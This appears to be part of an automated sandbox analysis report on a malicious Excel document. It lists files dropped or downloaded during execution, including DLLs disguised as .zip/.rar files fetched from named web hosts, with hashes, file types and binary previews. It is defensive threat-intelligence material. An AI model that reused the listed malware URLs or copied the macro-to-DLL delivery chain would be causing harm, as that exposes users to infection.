SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.117051994467751
Encrypted:	false
SSDEEP:	6:kKlSwwDN+SkQlPlEGYRMY9z+4KlDA3RUegeT6lf:vkPlE99SNxAhUegeT2
MD5:	18297D8D972221483A5990B196BF346D
SHA1:	94EA32F361519D232CA0EFB24CB00B1DA69D323A
SHA-256:	C7D7F93946851BBEEACF2C066FEF131154F407F32E270F1AC3EC3DDCD2ABF59F
SHA-512:	A7B551675C156D0AB617C19B6B63406927A981D6090EA9345D1E73391F6DBC59CAEB2D83F653C387AED97542A85B1DB2138777C4C947A0BF50D25D3247A313AA
Malicious:	false
Preview:	p...... ................(....................................................... ..........Y.......$...........8...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\suspendedpage[1].htm Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	7614
Entropy (8bit):	5.642774657070028
Encrypted:	false
SSDEEP:	192:olVZHCkA26xd3Q4JRveuTtMy47R/Ga0kVhFuPwf8Pn9wHHyJyB:QJvVGaRF8I84
MD5:	7D326EC20489C8098EB61BD74AB3EBA0
SHA1:	6395954055C2D6CD5275F0317B989BCAB05A36CA
SHA-256:	D6778D9798302215E44B3E65F8F201AEE15C57F71D9F4100F96C23B55CD56B9A
SHA-512:	DEE3A98C08E257E3D1D151360C2E00175807D1199AB761D04442DB8A6DD32650482EBEBCA95F88CA9C84458C2D7EB71AB7C63F3EC98990930B642C22B3954DAD
Malicious:	false
IE Cache URL:	http://laureys.be/cgi-sys/suspendedpage.cgi
Preview:	<!DOCTYPE html>.<html>. <head>. <meta http-equiv="Content-type" content="text/html; charset=utf-8">. <meta http-equiv="Cache-control" content="no-cache">. <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="0">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1">. <title>Account Suspended</title>. <link rel="stylesheet" href="//use.fontawesome.com/releases/v5.0.6/css/all.css">. <style type="text/css">. body {. font-family: Arial, Helvetica, sans-serif;. font-size: 14px;. line-height: 1.428571429;. background-color: #ffffff;. color: #2F3230;. padding: 0;. margin: 0;. }. section {. display: block;. padding: 0;. margin: 0;. }. .container {. margin-left: auto;. margin-right: auto;. padding: 0 10px;.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\ylztwx[1].rar Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12310
Entropy (8bit):	6.535237890734359
Encrypted:	false
SSDEEP:	384:MJJgczFIb+vyYLB3oUm3ZmHGyd4gi12tI4:KFIbAB39m3Zmp+x12n
MD5:	DF5ADB39B1173368D4D28069342A8E5F
SHA1:	B3D1414D5E487FC2D9A926A902E6D7C89D5C98CE
SHA-256:	BA3C345884A8FD7FEF0111D9F7AE4C034C2D9D767E3D59A11F13671535610A0F
SHA-512:	A816DCA29C64589BB84EBDC7733F3BA3B175B91E8226E7DD52CC2B33DB2119547E3FA0F2DC32338EA3707209D8CDF269A0E8D3EDA3A90B8253672FB21E6D5207
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\by9zwa7p1[1].zip Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	765440
Entropy (8bit):	6.0875108403853675
Encrypted:	false
SSDEEP:	12288:F0q2AejP0XbOAQ60af2rDMmUz0x07wGwefo5SuDwadeUy:i2ejIOU0G2rDMmxxkRTs9y
MD5:	92AA183E338E9F7BBDC9CA401EB97C64
SHA1:	E45D05BF840341FBAA6FD6B9F396788C5810CB26
SHA-256:	791252FC4DEF3C4C3BDB270633FFC88C0E2CD8E8E8BA299825A83841A273E7DD
SHA-512:	EB08528C5E3DD47AE6DDC6F79BC7BBD035701F46B0845D5A90015E3FBA77634E614BB866C6EDA9F0AEC9ED06D8344B038EA56635A7214F2378D3F73B72EF2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
IE Cache URL:	http://cms.ivpr.org/by9zwa7p1.zip
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\xkpffwn[1].zip Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	765440
Entropy (8bit):	6.0875108403853675
Encrypted:	false
SSDEEP:	12288:F0q2AejP0XbOAQ60af2rDMmUz0x07wGwefo5SuDwadeUy:i2ejIOU0G2rDMmxxkRTs9y
MD5:	92AA183E338E9F7BBDC9CA401EB97C64
SHA1:	E45D05BF840341FBAA6FD6B9F396788C5810CB26
SHA-256:	791252FC4DEF3C4C3BDB270633FFC88C0E2CD8E8E8BA299825A83841A273E7DD
SHA-512:	EB08528C5E3DD47AE6DDC6F79BC7BBD035701F46B0845D5A90015E3FBA77634E614BB866C6EDA9F0AEC9ED06D8344B038EA56635A7214F2378D3F73B72EF2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
IE Cache URL:	http://artec.com.tr/xkpffwn.zip
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\h79fwesfe[1].rar Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	765440
Entropy (8bit):	6.0875108403853675
Encrypted:	false
SSDEEP:	12288:F0q2AejP0XbOAQ60af2rDMmUz0x07wGwefo5SuDwadeUy:i2ejIOU0G2rDMmxxkRTs9y
MD5:	92AA183E338E9F7BBDC9CA401EB97C64
SHA1:	E45D05BF840341FBAA6FD6B9F396788C5810CB26
SHA-256:	791252FC4DEF3C4C3BDB270633FFC88C0E2CD8E8E8BA299825A83841A273E7DD
SHA-512:	EB08528C5E3DD47AE6DDC6F79BC7BBD035701F46B0845D5A90015E3FBA77634E614BB866C6EDA9F0AEC9ED06D8344B038EA56635A7214F2378D3F73B72EF2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
IE Cache URL:	http://monitrade.net/h79fwesfe.rar
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B2F6E8C4.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 699 x 298, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5737
Entropy (8bit):	7.823093930699959
Encrypted:	false
SSDEEP:	96:/pzh0Wk1Doo3NH1xHvMYXyCa/BY8/CRApdM1f4EkiaaaaaaomB8DIx7GpHWdQ95C://0N06xP1yCa/+8/CyM1fJkiaaaaaar/
MD5:	32BAB8AD09773064F93EBD99958580EC
SHA1:	9DE1C4B468E6D74CFF7A944601F4FF6D257E6C84
SHA-256:	4D4AE615AFDFF15B86FB39B8E591E65673B807AE1D0109AF287AD3B74136E514
SHA-512:	39E928812465920356513DA67519E9F2A91B1767BB4AC515DA1BADE76885274834AA1A7FCA78768A2A1E01197C59886D0CF89EF2313DC7E6C3271629F1A90800
Malicious:	false
Preview:	.PNG........IHDR............"oh.....tEXtSoftware.Adobe ImageReadyq.e<...0PLTE.............u..........t.....dk......QQQyyz........IDATx..b.0.D....r.....9..,gI.......K..Y.?...B..t..>..)....~.v.I[.\|..\|.v..mL.^HJ..$.viQ.>...).-.BZ...E.I.]Z....-J.gj._,d...n...-..j...@}[gj..Z2M.Zt...!.z.tL...&...i.LE..zsN.......-..-.?.!.z...v..G_....:i>.....k.;.x...v...?X..Y._.$.9.v-9cWn...M.....qG.R..z......g..G..lV..e.?...c.c..t.c.U....i.e.,..)_.%...W.u*.e.....z.....b]6.._.I.lQ..tL..v..'pT>.\|o7l.Z...P...}.t..j..w5.. /WKI........J.nP....=.NR....f..t..w.._}..e........?~..N...]&.q6.p.,?..F....w........V..7.J...5)I'Kz....bwI....x..+.....I~6kw.q.~.%m......tU......z..6..{..o+.@...T.c..2..t..'.u.^R.MJ./.7...KT>^..j....j[..+..Ni..;./Y.%[Z.m...U..X...'=..r..v:.6....\.OZ.O...Y.....;.YK......II:w._.nY.85#.mS.....a.r..ep.W....R../..3'....go.....Y..S.Q.D....w...c...o.EI:g._.5..%-....:\|....;...,E.uW.......?..h....;,J.....T..],..w9G..E...&.D...thr).....N.....$.9..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BCA4260F.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 114 x 98, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3119
Entropy (8bit):	7.810693367525396
Encrypted:	false
SSDEEP:	48:7ki5Nxsg2IqnSTJZi8G+vJeKCtWOLcCeX5cJw4oeSsP9SqXDA32Nkq1lxht:7ki5NxAInjG+kKfF/4EmND8Uk+xP
MD5:	98DFB630470988A5BD9D129F24CE30FA
SHA1:	13173C493DC38AFB982EB060F24F1BB7936A752B
SHA-256:	22328705665F71B26B7E15ECB6D7E9794002F4B2432DF692278CC559650953D6
SHA-512:	E999272141FD04B48268138A25943640760E45DA654283A7A64929C21C04859F6CC89BA4A79456F5F75439966E616D33CF34FABA5485D9D2F54E0A254CEDCC8D
Malicious:	false
Preview:	.PNG........IHDR...r...b.......w.....sRGB.........gAMA......a.....PLTE.........``PPP@00 @@@.........pp````.........00.@@.... .``.............. ....PPP...........p......... .....pp....ppp...00. .pp. .......... ...@P.............PP.0 .. . @@.000P@.0@0............``..........@@ .... ..........ItRNS............................................................................U....pHYs..........o.d....IDAThC.Z.{.:..^x.......A..4...........@D!\.=...j.3Lf..d......N.+...=.rFO...n.3k..y.G...m...H;...'....FE.9.C9.45m...\|g..]..k...?'0..~6....Nm.[...\.j.....[......M..j.N:?...A........v.dN...47...@.R..KT1....[.^..e....t.VI.8.fp[\|..P>>..P=)...e0._\|.z.>.o@..\|.Z...?..}..........5..............n.....s..y5.\..7...#jd>.....Kh.a).1...u..\|..=..%...g..W....1.R.CO.{.>s%............>..^T.... .".....&0.n.......:.....h./...3WB.X...-.5.x..1..ID.......(R.X....B`....-...'.W.7f...}...Cr.C.x..<...^....[6k)x...x&.s.....Z...[>A.wVB..F=\|R...B...y....h\X...e.L..... .6...3l..>.>..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C7A618C6.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	2352
Entropy (8bit):	2.843492352371811
Encrypted:	false
SSDEEP:	24:YgelY0cSOKNHoKNpJSVvb+rLDkcmBSmkDVZWIHFm+rlzGDLpEn:v0O+I+rSVSciDVZvk+xCDL6
MD5:	02DE6899749BC90C8436783A76485FE5
SHA1:	D7D91A77F61E69EC6F152E3CDE9C0A55AF8CF069
SHA-256:	5A6AD5DD29DAC89DDF7D058B243B6CAA122A0C6FAC2B9FB5F853FD49E47D4D5E
SHA-512:	72CA635DBD1A8D200B62D021B1C5D7E787B19618DE978C6ABF7F2F7BAA32428840053B4874E30225EFA6BB425B4AE50E3FADF8FCF818D09319F28B2D23C94CB3
Malicious:	false
Preview:	....l................................... EMF....0...(.......................`...1........................\|..F...(.......GDIC..........................................................................................-.........!.............................-...................................-.........!.........................$.............................-.......................................$.............................-...............-.........!...............-...........................Calibri........J.....v!;............-...........................2.................1........................"System.).......B....................-.......'.......................................................................................!.......'.......................%...........L...d...................................!..............?...........?................................'.......................%...........................................................%...........L...d...................

C:\Users\user\AppData\Local\Temp\780F0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	54593
Entropy (8bit):	7.809761757134018
Encrypted:	false
SSDEEP:	1536:Xp7RRUsqW5baZAqO6ZmYWNFtu+y5M9PF9GqcBre9OZ:XpfeZAhWKuOoiK
MD5:	0F8207B106153E236B13299853CDBA86
SHA1:	7CC5BAB94F668A25E71B6DFA6A6DA9F3E680CF9E
SHA-256:	52A295D89BAD2B935B882EE30A6FCAAB804D1AEF5DA7DA39BC381D00DD59EC99
SHA-512:	9B4700C3A9CDB42A95C5649717AF8E3DDB08E63E20B675CBF25A2635E4A4C5BEE239592A46769C3C9AB15B89F4CB4911F3F58FA1606BD47673F8992CF7BB2906
Malicious:	false
Preview:	...n.0.E.......D'..(,g..4@R.[..I....(..w(9N..a...E.{f.....I....sr..H...B.'?....I.....FCN.........OP.}N....J=.A1....WJ.....U.2.c......F..!..l.7P.'....o..l.&........V....J.].@RS..Ca..B..[...5@P2.N .=@...'t.iuu......+@...6.+.....fR.}.2Tv..ZX....!....I.\|.Q...3V8....*'.H..wL...V.g.v[cv.t...\|.-..u.)...l+.../%.!u.wRO.....z)..]0.nK.y{......&..s.....{......>.....:...}.K.g..4.mc.M..5sP<.lb....O.8..p{z...u?..p......p=.......A..1?..BL4.f....<dK._ec.8...z....../.%.S.F....l.j.G".....).q..P..i..c........PK..........!.aQ._............[Content_Types].xml ...(...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabF789.tmp Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	241332
Entropy (8bit):	4.206824555297794
Encrypted:	false
SSDEEP:	1536:cGtLEQNSk8SCtKBX0Gpb2vxKHnVMOkOX0mRO/NIAIQK7viKAJYsA0ppDCLTfMRsi:ckNNSk8DtKBrpb2vxrOpprf/nVq
MD5:	A66589E6EA76694010E643B83536ECDD
SHA1:	F546989B665D046F2F3E3A2D875F8BF788F4CD5C
SHA-256:	65E8323065EBA93550158F3CE48104DF6ECF862C1A0BDE65845EB45443A05DD5
SHA-512:	D14EFFE1F02C96D7A9A3F6C38DE4CCF26464D88A319AD3A583126DE8AF2BC9CCB3218B34D943ECE3C02FD6BD39BCF9FA51AD9F4D02806F9C7423062B3D6B3BDE
Malicious:	false
Preview:	MSFT................Q................................$......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*..\+...+..$,...,...,..P-...-......\|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................H...4............................................................................x...I..............T............ ..P........................... ...........................................................&!..............................................................................................

C:\Users\user\AppData\Local\Temp\TarF78A.tmp Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	152533
Entropy (8bit):	6.31602258454967
Encrypted:	false
SSDEEP:	1536:SIPLlYy2pRSjgCyrYBb5HQop4Ydm6CWku2PtIz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
MD5:	D0682A3C344DFC62FB18D5A539F81F61
SHA1:	09D3E9B899785DA377DF2518C6175D70CCF9DA33
SHA-256:	4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A
SHA-512:	0E884D65C738879C7038C8FB592F53DD515E630AEACC9D9E5F9013606364F092ACF7D832E1A8DAC86A1F0B0E906B2302EE3A840A503654F2B39A65B2FEA04EC3
Malicious:	false
Preview:	0..S....H.........S.0..S....1.0...`.H.e......0..C...+.....7.....C.0..C.0...+.....7.............201012214904Z0...+......0..C.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Local\Temp\ogsit.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765440
Entropy (8bit):	6.0875108403853675
Encrypted:	false
SSDEEP:	12288:F0q2AejP0XbOAQ60af2rDMmUz0x07wGwefo5SuDwadeUy:i2ejIOU0G2rDMmxxkRTs9y
MD5:	92AA183E338E9F7BBDC9CA401EB97C64
SHA1:	E45D05BF840341FBAA6FD6B9F396788C5810CB26
SHA-256:	791252FC4DEF3C4C3BDB270633FFC88C0E2CD8E8E8BA299825A83841A273E7DD
SHA-512:	EB08528C5E3DD47AE6DDC6F79BC7BBD035701F46B0845D5A90015E3FBA77634E614BB866C6EDA9F0AEC9ED06D8344B038EA56635A7214F2378D3F73B72EF2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765440
Entropy (8bit):	6.0875108403853675
Encrypted:	false
SSDEEP:	12288:F0q2AejP0XbOAQ60af2rDMmUz0x07wGwefo5SuDwadeUy:i2ejIOU0G2rDMmxxkRTs9y
MD5:	92AA183E338E9F7BBDC9CA401EB97C64
SHA1:	E45D05BF840341FBAA6FD6B9F396788C5810CB26
SHA-256:	791252FC4DEF3C4C3BDB270633FFC88C0E2CD8E8E8BA299825A83841A273E7DD
SHA-512:	EB08528C5E3DD47AE6DDC6F79BC7BBD035701F46B0845D5A90015E3FBA77634E614BB866C6EDA9F0AEC9ED06D8344B038EA56635A7214F2378D3F73B72EF2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zsijkwsd.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765440
Entropy (8bit):	6.0875108403853675
Encrypted:	false
SSDEEP:	12288:F0q2AejP0XbOAQ60af2rDMmUz0x07wGwefo5SuDwadeUy:i2ejIOU0G2rDMmxxkRTs9y
MD5:	92AA183E338E9F7BBDC9CA401EB97C64
SHA1:	E45D05BF840341FBAA6FD6B9F396788C5810CB26
SHA-256:	791252FC4DEF3C4C3BDB270633FFC88C0E2CD8E8E8BA299825A83841A273E7DD
SHA-512:	EB08528C5E3DD47AE6DDC6F79BC7BBD035701F46B0845D5A90015E3FBA77634E614BB866C6EDA9F0AEC9ED06D8344B038EA56635A7214F2378D3F73B72EF2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......15Q!uT?ruT?ruT?r...rtT?rx..rwT?rx..rtT?rx..rzT?rx..rwT?r...rvT?ruT>r<T?rx..rtT?rx..rzT?rx..rtT?rx..rtT?rRichuT?r........PE..L......R...........!.....d...........o....................................................@.........................`r..M...\q..<...................................`...8...........................(...@............p..\............................text....b.......d.................. ..`.data................h..............@....idata.. ....p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Jan 20 23:12:58 2021, atime=Wed Jan 20 23:12:58 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.4701762248053525
Encrypted:	false
SSDEEP:	12:85QICLgXg/XAlCPCHaXtB8XzB/o5XX+WnicvbSubDtZ3YilMMEpxRljK1TdJP9TK:85XU/XTd6j0YepDv3qgrNru/
MD5:	3933849A927739A691EE3ABD3BBBB95D
SHA1:	943DD4894158B482D53A940A162FA2DC59A351B3
SHA-256:	25FDCCF8A999E3DC5F16540CE62CDA7A82B8CAF9ACFA19392B6B5B2223583998
SHA-512:	D80229BEBE765E6045503AA08338151E599E4BF7387F584F7E6BA655F1B2DD0A2FB04FA72D5A4DA34D33D50ADCA070C257F932BB55A796F3057DC87FC446A22A
Malicious:	false
